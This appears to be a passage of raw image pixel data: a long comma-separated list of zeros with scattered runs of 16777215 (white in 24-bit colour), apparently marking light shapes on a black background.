,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,16777215,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0